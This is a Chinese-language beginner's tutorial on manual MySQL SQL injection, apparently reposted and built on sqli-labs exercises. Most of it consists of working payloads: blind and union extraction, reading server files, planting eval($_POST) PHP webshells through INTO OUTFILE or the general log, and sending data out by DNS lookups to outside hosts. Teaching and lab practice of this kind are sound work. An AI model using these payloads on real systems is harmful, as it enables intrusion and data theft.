我是技術(shù)不高,但我能帶你入門
我遇到過無數(shù)人曾來像我表示自己想學(xué)網(wǎng)絡(luò)安全,走了很多彎路,求師被騙過很多錢。
這樣的人我沒辦法幫助太多,限于時間精力與能力,幫得了1個幫不了100個,再說我也不是昔日的雷鋒了。
如今我也基本上不做滲透了,回過頭看到幾年前自己筆記中有一些注入筆記,雖然我沒有大牛水平,沒有高端操作,但我希望我能把我僅有的一些技術(shù)與資源,能夠最大程度惠及到網(wǎng)絡(luò)安全向往者身上,能夠帶領(lǐng)一部分新人步入網(wǎng)絡(luò)安全。
網(wǎng)絡(luò)安全其實跟其他行業(yè)一樣,網(wǎng)上什么教程都有,但能百度到不一定能學(xué)到,大多雜亂無章,教程更多的是表達成果,及簡要的過程。供學(xué)習(xí)者來說可消化性太低。
其實對于入門者來說最重要的是:從哪開始,如何開始,需要秉持什么樣的價值觀,而不是天天混圈子,喊這個表哥,那個大佬。
SQL注入教程說明
- 本教程旨在帶領(lǐng)理解SQL注入基本原理與實現(xiàn)方式,以及常見的注入操作。
- 學(xué)習(xí)SQL注入之前需要先學(xué)習(xí)基本的SQL語句,http基本的get與post請求,url編碼。
- 本教程從筆記中整理修飾,可能連貫性不強,不夠系統(tǒng),但都是重要且需要理解的點。
- 建議基于Sqlilab邊學(xué)習(xí)邊實踐
- 在理解本教程完后,可以學(xué)習(xí):Sqlmap使用教程【個人筆記精華整理】
SQL手工注入入門教程
mysql基本hack函數(shù):
mid
SELECT MID(ColumnName, Start [, Length]) FROM TableName
LEFT(str,len)
返回字符串str的最左面len個字符
ASCII(str) =ORD
返回字符串str的最左面字符的ASCII代碼值。如果str是空字符串,返回0。如果str是NULL,返回NULL
SUBSTR(str,pos,len)
從str中多少個字符開始,截取多少位
CAST
SELECT CAST(’12’ AS int) 將目標(biāo)str轉(zhuǎn)化為目標(biāo)數(shù)據(jù)類型
IFNULL(expr1,expr2)
如果expr1不是NULL,IFNULL()返回expr1,否則它返回expr2
updatexml()
extracavalue()
判斷字符的一些語句:
▲left(database(),1)>’s’ //left()函數(shù)
Explain:database()顯示數(shù)據(jù)庫名稱,left(a,b)從左側(cè)截取 a 的前 b 位
▲ascii(substr((select table_name from information_schema.tables where table_schema =database()limit 0,1),1,1))=101 –+ //substr()函數(shù),ascii()函數(shù)
Explain:substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉(zhuǎn)換 為 ascii 值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函數(shù),MID()函數(shù)
Explain:mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位
Ord()函數(shù)同 ascii(),將字符轉(zhuǎn)為 ascii 值
LOAD_FILE
加載本地文件(服務(wù)器上)
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
說明:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代碼
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
說明:“c:/boot.ini”的 16 進制是“0x633a2f626f6f742e696e69”
select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’) into outfile ‘c:\wamp\www\test.php’
可以將其他路徑的文件導(dǎo)到web目錄來供訪問,一般用于把包含一句話木馬的文件導(dǎo)出成php來鏈接
get與post請求注釋符的區(qū)別
一般很容易在各種教程上看到 ‘ or and 1=1 # 或 ‘ or and 1=1 –+
但可能沒人告訴你什么情況下該用什么。
是sql語句中的注釋符,+ 在http請求中表示空格,但get與post中,由于http請求的轉(zhuǎn)義,請求到后端sql語句拼接的時候可能會不一樣。
get請求的時候一般用:
1′ and 1=1 –+
//這里最后的空格用+,在請求的時候不會被urlencode,到后端sql語句中就會成為一個正常的空格,– 后面的語句就會被注釋。
但是如果在post里最后用加號的話就會被urlencode成%2B,實際的空格被轉(zhuǎn)義才被轉(zhuǎn)義成+
uname=1%27+or+1%3D1+--%2B&passwd=111&submit=Submit
post請求的時候一般用:
這時候,在post的情況下,最后一個空格,可以直接用空格,不用+來代替,因為post參數(shù) 空格會自動轉(zhuǎn)成+;
而之所以不在get注入的時候使用“#”來注釋,是因為,請求時,“#”不會被urlencode為“%23”,被識別為錨鏈接,無法傳遞至sql語句中。
找一個庫中有哪些表名:
select table_name from information_schema where table_schema ="security";
找一個表中有哪些列名:
select column_name from information_schema where table_name ="eamils";
AND與OR的區(qū)別
需要理解 and和or的區(qū)別

場景舉例:
沒有訂單可以測的情況下,只能用or

union聯(lián)合查詢注入
當(dāng)union前面的語句為false時才會執(zhí)行后面語句(這里一定先學(xué)習(xí)union查詢的用法)
如以下,union語句前 先構(gòu)建一個錯誤條件。
www.vuln.cn/sql/less-1/?id=1' and 1=2 union select 1,user(),database() --+
www.vuln.cn/sql/less-1/?id=-1' union select 1,user(),database() --+
union與order by 后面跟著的列數(shù)是跟前面的select 列數(shù)相同的,不是該表的總列數(shù)
總列數(shù)判斷為:
www.vuln.cn/sql/less-10/?id=1" and if((select count(*) from information_schema.columns where table_name = "emails")=2,sleep(5),1) --+
解釋:如果列數(shù)為2,則延時5秒響應(yīng)。
判斷某列是否存在也可以用:
www.vuln.cn/sql/less-10/?id=1" and exists (select username from admin)
當(dāng)union查同庫其他表時,需要知道庫名:
如:
http://www.vuln.cn/?id=-1 uni%00on se%00lect id,hash fr%00om sql3.key
讀文件/寫shell
這里包含了網(wǎng)上常見或不常見的導(dǎo)出一句話的騷操作
支持union的方法,最常規(guī)的方式:
www.vuln.cn/sql/less-10/?id=-1" union select 1,user(),3 into outfile "C:\\test.txt" --+
16進制寫shell
www.vuln.cn/sql/less-10/?id=-1" union select 0x3c,0x3f,0x6576616C28245F504F53545B785D293B3F3E into outfile "C:\\test.php" --+
其中上面的16 進制組合成的是一個一句話,其實這樣的sql可以過waf
< ? eval($_POST[x]);?>
利用分隔符寫shell
如果不支持union,可以用分隔符導(dǎo)出一句話,當(dāng)然字段數(shù)要大于2。
select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23 #分隔符也可以用16進制表示
select exp(~(select * from(select 'hello')a)) into outfile 'C:/out.txt'; //但是只能寫一個0進去。
修改sql日志路徑到web下的一個php文件
show variables like '%general%'; #查看配置
set global general_log = on; #開啟general log模式
set global general_log_file = '/var/www/html/1.php'; #設(shè)置日志目錄為shell地址
select '<?php eval($_POST[cmd]);?>' #寫入shell
讀文件:
select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> UPDATE table_test
-> SET blob_col=LOAD_FILE('/tmp/picture')
-> WHERE id=1;
基于布爾值的盲注
- 可以通過響應(yīng)的不同可以判斷sql語句是否正確
- 枚舉字符來判斷字符是否存在
mysql的一些特征:
select 1 from information_schema.tables where table_schema="security"; 這種情況后面只要為真,就會返回1select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1;
當(dāng)試探第二個表的時候并不是改為limit1,1,因為limit針對的是條件篩選后的過濾,所以測試其他表的時候,繼續(xù)修改正則即可,如果us[a-z]為1,ua[a-z],說明至少有兩個表,一個表以us開頭,另一個ua開頭
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 這種情況取第二個表的時候就需要limit 2,1了,因為表的排序是固定不會變的
select user() like ‘ro%’,有匹配的時候會返回1,
標(biāo)準的正則布爾測試:
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
比如判斷數(shù)據(jù)庫版本:
http://www.vuln.cn/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23
判斷是否條件成立的其他方法:
http://www.vuln.cn/index.php?a=examtraining&c=index&id=1 and (ord(substr(database() ,1,1))-1010) &m=member&type=TF
盲注流程
獲取庫名:
and%20ord(substr(database(),1,1))>80+–+
獲取表名:
利用 substr() ascii()函數(shù)進行嘗試
http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
獲取字段名:
http://www.vuln.cn/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
and ord(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105+--+
獲取表數(shù)據(jù):
http://www.vuln.cn/sqllib/Less-5/?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
and ord(mid((select id from emails order by id limit 0,1),1,1))<105+--+
通過dns獲取盲注數(shù)據(jù):http://www.vuln.cn/6805
由于union后必須跟上與前面同樣的字段數(shù),所以需要把load_file放在其中,非union直接select load_file即可
dns獲取盲注數(shù)據(jù)示例:
http://www.vuln.cn/SQL/Less-8/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',(select id from emails limit 0,1),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+
http://localhost/SQL/Less-9/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',database(),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+
\foobar 后面要有一串任意字符,訪問遠程目錄的意思,所以這個“foobar”可以用任意字符替換。
還可以:
select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);
延時注入
適用于當(dāng)我們測試的時候沒有任何回顯來判斷是否有注入,比如訂單搜索,比如當(dāng)sql錯誤的時候返回與正確的相同,我們就無法通過回顯差異來判斷注入
如下圖代碼,成立與否頁面不變化
所以就需要通過判斷是否延時來確認是否有注入
http://www.vuln.cn/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
http://www.vuln.cn/sql/less-9/?id=1' and if((ord(substr(user(),1,1))=114),sleep(5),1) --+
如果過濾逗號,可以:
show fields from `tiny_nav` where field='id' and sleep(('a'=(select name from tiny_manager where id=3 union select 'a' order by 1 limit 1))*5)
還可以利用 union select 加 order by 逐字猜解…
假設(shè),name 是 admin
當(dāng) 猜出第一個字母為 ‘a(chǎn)’ 時,’a’=’a’及真。用 0,1表示的話就是1,然后 sleep(15),如果是假,那就是sleep(05)…
先基本判斷有沒有延時,然后在load_file來dns查詢
http://www.vuln.cn/SQL/Less-8/?id=1%27+and sleep(5) --+
可以
www.www.vuln.cn/sql/less-10/?id=1" and sleep(5) order by 8 --+
post注入
最大的區(qū)別在于注釋符的使用,and改為or而已
如:
') or (ord(substr(user(),1,1))>1#
轉(zhuǎn)載地址:http://www.vuln.cn/9027
